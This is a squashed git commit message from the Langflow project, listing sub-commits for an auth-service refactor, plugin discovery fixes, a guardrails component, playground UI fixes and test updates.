* docs: Update discovery order for pluggable services

* fix(lfx): replace aiofile with aiofiles for CI compatibility

- The aiofile library uses native async I/O (libaio) which fails with
  EAGAIN (SystemError: 11, 'Resource temporarily unavailable') in
  containerized environments like GitHub Actions runners.
- Switch to aiofiles which uses thread pool executors, providing reliable
  async file I/O across all environments including containers.

* [autofix.ci] apply automated fixes

* fix(lfx): prevent race condition in plugin discovery

  The discover_plugins() method had a TOCTOU (time-of-check to time-of-use)
  race condition. Since get() uses a keyed lock (per service name), multiple
  threads requesting different services could concurrently see
  _plugins_discovered=False and trigger duplicate plugin discovery.

  Wrap discover_plugins() with self._lock to ensure thread-safe access to
  the _plugins_discovered flag and prevent concurrent discovery execution.

* [autofix.ci] apply automated fixes

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* feat(auth): implement abstract base class for authentication services and add auth service retrieval function

* refactor(auth): move authentication logic from utils to AuthService

  Consolidate all authentication methods into the AuthService class to
  enable pluggable authentication implementations. The utils module now
  contains thin wrappers that delegate to the registered auth service.

  This allows alternative auth implementations (e.g., OIDC) to be
  registered via the pluggable services system while maintaining
  backward compatibility with existing code that imports from utils.

  Changes:
  - Move all auth logic (token creation, user validation, API key
    security, password hashing, encryption) to AuthService
  - Refactor utils.py to delegate to get_auth_service()
  - Update function signatures to remove settings_service parameter
    (now obtained from the service internally)

* refactor(auth): update authentication methods and remove settings_service parameter

  - Changed function to retrieve current user from access token instead of JWT.
  - Updated AuthServiceFactory to specify SettingsService type in create method.
  - Removed settings_service dependency from encryption and decryption functions, simplifying the code.

This refactor enhances the clarity and maintainability of the authentication logic.

* test(auth): add unit tests for AuthService and pluggable authentication

- Introduced comprehensive unit tests for AuthService, covering token creation, user validation, and authentication methods.
- Added tests for pluggable authentication, ensuring correct delegation to registered services.
- Enhanced test coverage for user authentication scenarios, including active/inactive user checks and token validation.

These additions improve the reliability and maintainability of the authentication system.

* fix(tests): update test cases to use AuthService and correct user retrieval method

- Replaced the mock for retrieving the current user from JWT to access token in the TestSuperuserCommand.
- Refactored unit tests for MCP encryption to utilize AuthService instead of a mock settings service, enhancing test reliability.
- Updated patch decorators in tests to reflect the new method of obtaining the AuthService, ensuring consistency across test cases.

These changes improve the accuracy and maintainability of the authentication tests.

* docs(pluggable-services): add auth_service to ServiceType enum documentation

* fix(auth): Add missing type hints and abstract methods to AuthServiceBase (#10710)




* [autofix.ci] apply automated fixes

* fix(auth): refactor api_key_security method to accept optional database session and improve error handling

* feat(auth): enhance AuthServiceBase with detailed design principles and JIT provisioning methods

* fix(auth): remove settings_service from encrypt/decrypt_api_key calls

After the pluggable auth refactor, encrypt_api_key and decrypt_api_key
no longer take a settings_service argument - they get it internally.

- Update check_key import path in __main__.py (moved to crud module)
- Remove settings_service argument from calls in:
  - api/v1/api_key.py
  - api/v1/store.py
  - services/variable/service.py
  - services/variable/kubernetes.py
- Fix auth service to use session_scope() instead of non-existent
  get_db_service().with_session()

* fix(auth): resolve type errors and duplicate definitions in pluggable auth branch

  - Add missing imports in auth/utils.py (Final, HTTPException, status,
    logger, SettingsService) that prevented application startup
  - Remove duplicate NoServiceRegisteredError class in lfx/services/manager.py
  - Remove duplicate teardown method in lfx/services/storage/local.py
  - Fix invalid settings_service parameter in encrypt_api_key calls
    in variable/service.py and variable/kubernetes.py
  - Add proper type guards for check_key calls to satisfy mypy
  - Add null checks for password fields in users.py endpoints

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* [autofix.ci] apply automated fixes

* replace jose with pyjwt

* [autofix.ci] apply automated fixes

* starter projects

* fix BE mcp tests

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* remive legacy usage of session

* fix user tests

* [autofix.ci] apply automated fixes

* fix lfx tests

* starter project update

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* fix mypy errors

* fix mypy errors on tests

* fix tests for decrypt_api_key

* resolve conflicts in auth utils

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Add pluggable authentication factory with provider enum

* Add SSO feature flags to AuthSettings

* Add SSO fields to User model

* Add SSO configuration loader with YAML support

* Add unit tests for SSO configuration loader

* Add SSO configuration database model and CRUD operations

* Add CRUD operations for SSO configuration management

* Add SSO configuration service supporting both file and database configs

* Add example SSO configuration file with W3ID and other providers

* Implement OIDC authentication service with discovery and JIT provisioning

* Update AuthServiceFactory to instantiate OIDC service when SSO enabled

* Improve JWT token validation and API key decryption error handling

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix: resolve ruff linting errors in auth services and add sso-config.yaml to gitignore

* [autofix.ci] apply automated fixes

* fix: use correct function name get_current_user_from_access_token in login endpoint

* fix: remove incorrect settings_service parameter from decrypt_api_key call

* fix: correct encryption logic to properly detect plaintext vs encrypted values

* [autofix.ci] apply automated fixes

* fix tests

* [autofix.ci] apply automated fixes

* fix mypy errors

* fix tests

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests in service

* [autofix.ci] apply automated fixes

* fix test security cors

* [autofix.ci] apply automated fixes

* fix webhook issues

* modify component index

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* fix webhook tests

* [autofix.ci] apply automated fixes

* build component index

* remove SSO functionality

* [autofix.ci] apply automated fixes

* fix variable creation

* [autofix.ci] apply automated fixes

* refactor: move MCPServerConfig schema to a separate file and update model_dump usage

* refactor: streamline AuthServiceFactory to use service_class for instance creation

* handle access token type

* [autofix.ci] apply automated fixes

* remove SSO fields from user model

* [autofix.ci] apply automated fixes

* replace is_encrypted back

* fix mypy errors

* remove sso config example

* feat: Refactor framework agnostic auth service (#11565)

* modify auth service layer

* [autofix.ci] apply automated fixes

* fix ruff errorrs

* [autofix.ci] apply automated fixes

* Update src/backend/base/langflow/services/deps.py



* address review comments

* [autofix.ci] apply automated fixes

* fix ruff errors

* remove cache

---------




* move base to lfx

* [autofix.ci] apply automated fixes

* resolve review comments

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* add auth protocol

* [autofix.ci] apply automated fixes

* revert models.py execption handling

* revert wrappers to ensure backwards compatibility

* fix http error code

* fix FE tests

* fix test_variables.py

* [autofix.ci] apply automated fixes

* fix ruff errors

* fix tests

* add wrappers for create token methods

* fix ruff errors

* [autofix.ci] apply automated fixes

* update error message

* modify status code for inactive user

* fix ruff errors

* fix patch for webhook tests

* fix error message when getting active users

---------

Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>

* fix: adjusted textarea and playground paddings and design (#11635)

* revert textarea to old classes

* fixed text-area-wrapper to handle initial height when value is calculated

* fixed playground padding

* fixed no input text size

* [autofix.ci] apply automated fixes

* fixed flaky test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* feat: create guardrails component (#11451) (#11671)

* Create guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Update guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* tests: add unit tests for GuardrailsComponent functionality

* [autofix.ci] apply automated fixes

* fix: resolve linting errors in GuardrailsComponent and tests

- Fix line length issues (E501) by breaking long strings
- Fix docstring formatting (D205, D415) in _check_guardrail
- Use ternary operator for response content extraction (SIM108)
- Replace magic value with named constant (PLR2004)
- Move return to else block per try/except best practices (TRY300)
- Catch specific exceptions instead of blind Exception (BLE001)
- Use list comprehension for checks_to_run (PERF401)
- Mark unused variables with underscore prefix (RUF059, F841)
- Add noqa comment for intentionally unused mock argument (ARG002)

* [autofix.ci] apply automated fixes

* refactor: address pr comments

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes

* feat: enhance heuristic detection with configurable threshold and scoring system

* refactor: simplify heuristic test assertions by removing unused variable

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* feat: enhance guardrail validation logic and input handling

* refactor: streamline import statements and clean up whitespace in guardrails component

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: update empty input handling tests to raise ValueError and refactor related assertions

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* feat: add Guardrails component with unit tests

Add LLM-based guardrails component for detecting PII, tokens/passwords,
jailbreak attempts, and custom guardrail rules, along with comprehensive
unit tests.

* [autofix.ci] apply automated fixes

* fix: try removing logs

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: added remove file from file input (#11667)

* Implemented dismiss file functionality on input file component

* fixed hover behavior

* added test for removing file from input

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make connected inputs not hideable (#11672)

* fixed react flow utils to clean advanced edges

* Make connected handles not be able to be hidden

* Added test for hiding connected handles

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: make tooltip not appear when closing SessionMore (#11703)

fix tooltip showing up when closing select

* fix(frontend): prevent multiple session menus from stacking in fullscreen mode

* [autofix.ci] apply automated fixes

* fix(frontend): prevent crash when renaming empty sessions (#11712)

* fix(frontend): prevent crash when renaming empty sessions

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(ci): handle PEP 440 normalized versions in pre-release tag script (#11722)

The regex in langflow_pre_release_tag.py expected a dot before `rc`
(e.g. `1.8.0.rc0`), but PyPI returns PEP 440-normalized versions
without the dot (e.g. `1.8.0rc0`). This caused the script to recompute
the same version instead of incrementing, and `uv publish` silently
skipped the duplicate upload.

Update the regex to accept both formats with `\.?rc`.

* fix: align chat history with input field in fullscreen playground (#11725)

* fix: align chat history with input field in fullscreen playground

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: Enforce Webhook singleton rule on paste and duplicate                                                                         (#11692)

* fix singleton webhook on flow

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(frontend): generate unique variable names in Prompt Template Add Variable button (#11723)

* fix: generate unique variable names in Prompt Template Add Variable button

Previously, clicking the Add Variable button always inserted {variable_name},
causing duplicate text without creating new input fields. Now the button
generates incremental names (variable_name, variable_name_1, variable_name_2)
by checking existing variables in the template.

* refactor: extract generateUniqueVariableName and import in tests

Extract the variable name generation logic into an exported function
so tests can import and validate the actual production code instead
of testing a duplicated copy of the logic.

* FIX: Broken Connection Edge Rendering in YouTube Analysis Template (#11709)

add edge between components

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix: parse dicts from tweaks (#11753)

* Correctly parse dicts from tweaks

* Add test

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: sessions overflow issue (#11739)

fix: sessions overflow issue

* feat: playground UI fixes, inspector improvements & canvas reorganization (#11751)

* merge fix

* code improvements

* [autofix.ci] apply automated fixes

* add stop button and fix scroll on message

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix tests until shard 43

* [autofix.ci] apply automated fixes

* fix(frontend): clean up MemoizedSidebarTrigger imports and transition classes

Sort imports, add type modifier to AllNodeType import, and split long transition class string for readability.

* fix tests

* [autofix.ci] apply automated fixes

* fix mr test

* fix jest tests

* fix sidebar jest tes

* [autofix.ci] apply automated fixes

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix sharable playground

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix tests

* fix outaded component tests

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: keval shah <kevalvirat@gmail.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>

* fix: correct field_order in all starter project JSON templates (#11727)

* fix: correct field_order in all starter project JSON templates

The field_order arrays in starter project nodes were out of sync with
the actual input definitions in the Python component source files,
causing parameters to display in the wrong order in the UI.

Fixed 136 nodes across 32 starter project files including Chat Input,
Chat Output, Language Model, Agent, Prompt Template, Text Input,
Tavily AI Search, Read File, Embedding Model, and others.

* test: add field_order validation test for starter projects

Verifies that field_order arrays in starter project JSONs match the
actual component input order by importing each component and comparing
the relative ordering of fields.

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix: enforce full field_order in starter projects and add node overlap test

Update all starter project JSONs to include the complete component
field_order instead of a subset, preventing layout inconsistency
between template and sidebar. Strengthen the field_order test to
require an exact match and add a new test that verifies no two
generic nodes overlap on the canvas.

---------

Co-authored-by: cristhianzl <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: dict tweak parsing (#11756)

* Fix dict handling of different formats

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* cmp index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* Fix: The Prompt component has responsiveness issues (#11713)

improve styling of templete input

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* clear session on delete chat

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Google Generative AI model catalog update (#11735)

* fix: Filter out MCP and models_and_agents categories and MCPTools component from sidebar (#11513)

* fix: hide MCP tool from model & agent

* fix: removing mcp searching

* fix testcases

* fix testcases

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>

* fix: Fix flaky Market Research test timeout on CI  (#11665)

* add wait for statement to prevent race condition

* fix flaky global variable

* add input selection

* [autofix.ci] apply automated fixes

* add disable inspect panel util

* [autofix.ci] apply automated fixes

* fix vector store test

* [autofix.ci] apply automated fixes

* use disable inspect pannel utils

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* ci: make docs deployment manual-only (#11602)

feat: update GitHub Actions workflow to allow manual branch selection for docs deployment

* fix: handle missing capabilities in Ollama API response (#11603)

* fix: handle missing capabilities in Ollama API response

Older Ollama versions don't return the `capabilities` field from
`/api/show`. The previous code defaulted to an empty list and required
"completion" capability, filtering out all models.

Now we treat missing capabilities as backwards-compatible: assume the
model supports completion unless tool_model_enabled is True (where we
can't verify tool support without the capabilities field).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* test: add test cases for Ollama backwards compatibility fix

Add tests for get_models handling of missing capabilities field:
- test_get_models_missing_capabilities_without_tool_model
- test_get_models_missing_capabilities_with_tool_model
- test_get_models_mixed_capabilities_response

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* fix: wrap long docstring line to satisfy ruff E501

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* docs: draft hide internal endpoints in spec (#11469)

* test-hide-internal-endpoints

* hide-more-endpoints

* display-mcp-endpoints

* display-mcp-projects

* add-back-health-check

---------

Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>

* feat: update opensearch component with raw search component (#11491)

* Update opensearch_multimodal.py

* [autofix.ci] apply automated fixes

* Update opensearch_multimodal.py

* Skip existing knn_vector mapping & handle errors

Before adding a knn_vector field mapping, check the index properties and skip updating if the field already exists (and warn if dimensions differ). Attempt to add the mapping only when missing, and catch failures from the OpenSearch k-NN plugin (e.g. NullPointerException); in that known case log a warning and skip the mapping update instead of failing hard. After adding, verify the field is mapped as knn_vector and raise an error if it is not. Also adjusts logging messages to be clearer.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(test): Skip Tavily API key fill when global variable is loaded                                                          (#11733)

* update Google models

* [autofix.ci] apply automated fixes

* update tests

* mark deprecated

* build component index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>

* fix: mock clearSessionMessages (#11776)

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* update build config

* [autofix.ci] apply automated fixes

* fix ruff errors

* [autofix.ci] apply automated fixes

* address review comments

* feat: create guardrails component (#11451)

* Create guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Update guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* tests: add unit tests for GuardrailsComponent functionality

* [autofix.ci] apply automated fixes

* fix: resolve linting errors in GuardrailsComponent and tests

- Fix line length issues (E501) by breaking long strings
- Fix docstring formatting (D205, D415) in _check_guardrail
- Use ternary operator for response content extraction (SIM108)
- Replace magic value with named constant (PLR2004)
- Move return to else block per try/except best practices (TRY300)
- Catch specific exceptions instead of blind Exception (BLE001)
- Use list comprehension for checks_to_run (PERF401)
- Mark unused variables with underscore prefix (RUF059, F841)
- Add noqa comment for intentionally unused mock argument (ARG002)

* [autofix.ci] apply automated fixes

* refactor: address pr comments

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes

* feat: enhance heuristic detection with configurable threshold and scoring system

* refactor: simplify heuristic test assertions by removing unused variable

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* feat: enhance guardrail validation logic and input handling

* refactor: streamline import statements and clean up whitespace in guardrails component

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: update empty input handling tests to raise ValueError and refactor related assertions

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* feat: add Guardrails component with unit tests

Add LLM-based guardrails component for detecting PII, tokens/passwords,
jailbreak attempts, and custom guardrail rules, along with comprehensive
unit tests.

* [autofix.ci] apply automated fixes

* fix: try removing logs

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Viktor Avelino <64113566+viktoravelino@users.noreply.github.com>

* fix: Filter out MCP and models_and_agents categories and MCPTools component from sidebar (#11513)

* fix: hide MCP tool from model & agent

* fix: removing mcp searching

* fix testcases

* fix testcases

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>

* fix: Fix flaky Market Research test timeout on CI  (#11665)

* add wait for statement to prevent race condition

* fix flaky global variable

* add input selection

* [autofix.ci] apply automated fixes

* add disable inspect panel util

* [autofix.ci] apply automated fixes

* fix vector store test

* [autofix.ci] apply automated fixes

* use disable inspect pannel utils

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* ci: make docs deployment manual-only (#11602)

feat: update GitHub Actions workflow to allow manual branch selection for docs deployment

* fix: handle missing capabilities in Ollama API response (#11603)

* fix: handle missing capabilities in Ollama API response

Older Ollama versions don't return the `capabilities` field from
`/api/show`. The previous code defaulted to an empty list and required
"completion" capability, filtering out all models.

Now we treat missing capabilities as backwards-compatible: assume the
model supports completion unless tool_model_enabled is True (where we
can't verify tool support without the capabilities field).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* test: add test cases for Ollama backwards compatibility fix

Add tests for get_models handling of missing capabilities field:
- test_get_models_missing_capabilities_without_tool_model
- test_get_models_missing_capabilities_with_tool_model
- test_get_models_mixed_capabilities_response

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* fix: wrap long docstring line to satisfy ruff E501

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* docs: draft hide internal endpoints in spec (#11469)

* test-hide-internal-endpoints

* hide-more-endpoints

* display-mcp-endpoints

* display-mcp-projects

* add-back-health-check

---------

Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>

* feat: update opensearch component with raw search component (#11491)

* Update opensearch_multimodal.py

* [autofix.ci] apply automated fixes

* Update opensearch_multimodal.py

* Skip existing knn_vector mapping & handle errors

Before adding a knn_vector field mapping, check the index properties and skip updating if the field already exists (and warn if dimensions differ). Attempt to add the mapping only when missing, and catch failures from the OpenSearch k-NN plugin (e.g. NullPointerException); in that known case log a warning and skip the mapping update instead of failing hard. After adding, verify the field is mapped as knn_vector and raise an error if it is not. Also adjusts logging messages to be clearer.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(test): Skip Tavily API key fill when global variable is loaded                                                          (#11733)

* feat: add smart column ordering and clean output toggle to Split Text component (#11626)

* feat: add smart column ordering and clean output toggle to Split Text component

Add smart_column_order() method to DataFrame that prioritizes content columns
(text, content, output, etc.) and de-prioritizes system metadata columns
(timestamp, sender, session_id, etc.). Add Clean Output boolean input to
Split Text component that strips metadata columns by default.

* fix: update code_hash for Knowledge Ingestion and Vector Store RAG components

* test: update split text tests for clean_output toggle

* [autofix.ci] apply automated fixes

* fix: change default value of clean_output toggle to False in Split Text component

* [autofix.ci] apply automated fixes (attempt 2/3)

* fix: update code_hash for Knowledge Ingestion and Vector Store RAG components

* fix: add clean_output option to Knowledge Ingestion and Vector Store RAG components

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* [autofix.ci] apply automated fixes

* fix: Add missing get_current_active_user_mcp to lfx AuthService

The base class declares get_current_active_user_mcp as abstract but the
default lfx AuthService did not implement it, causing instantiation to
fail in tests.

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: add iter method to noopresult (#11517)

* fix: Misleading Empty State when no Folders (#11728)

* fix: Misleading Empty State when no Folders

now once all folders are deleted we show the default create first flow state

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* chore: align Market Research spec with release-v1.8.0

* fix: Resolve Windows PostgreSQL event loop incompatibility (#11767)

* fix windows integrations with postgres

* add documentation

* cross platform validation

* [autofix.ci] apply automated fixes

* ruff style and checker

* fix import ruff

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* fix: Legacy "Store" Reference in Flows Empty State (#11721)

* fix: Legacy "Store" Reference in Flows Empty State

on delete propigate changes to useFlowsManagerStore to cause re-render in HomePage

* test: fix shard 45 flaky mcp test

Hopefully fix [WebServer] bash: line 1: exec: uvx mcp-server-fetch: not found

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
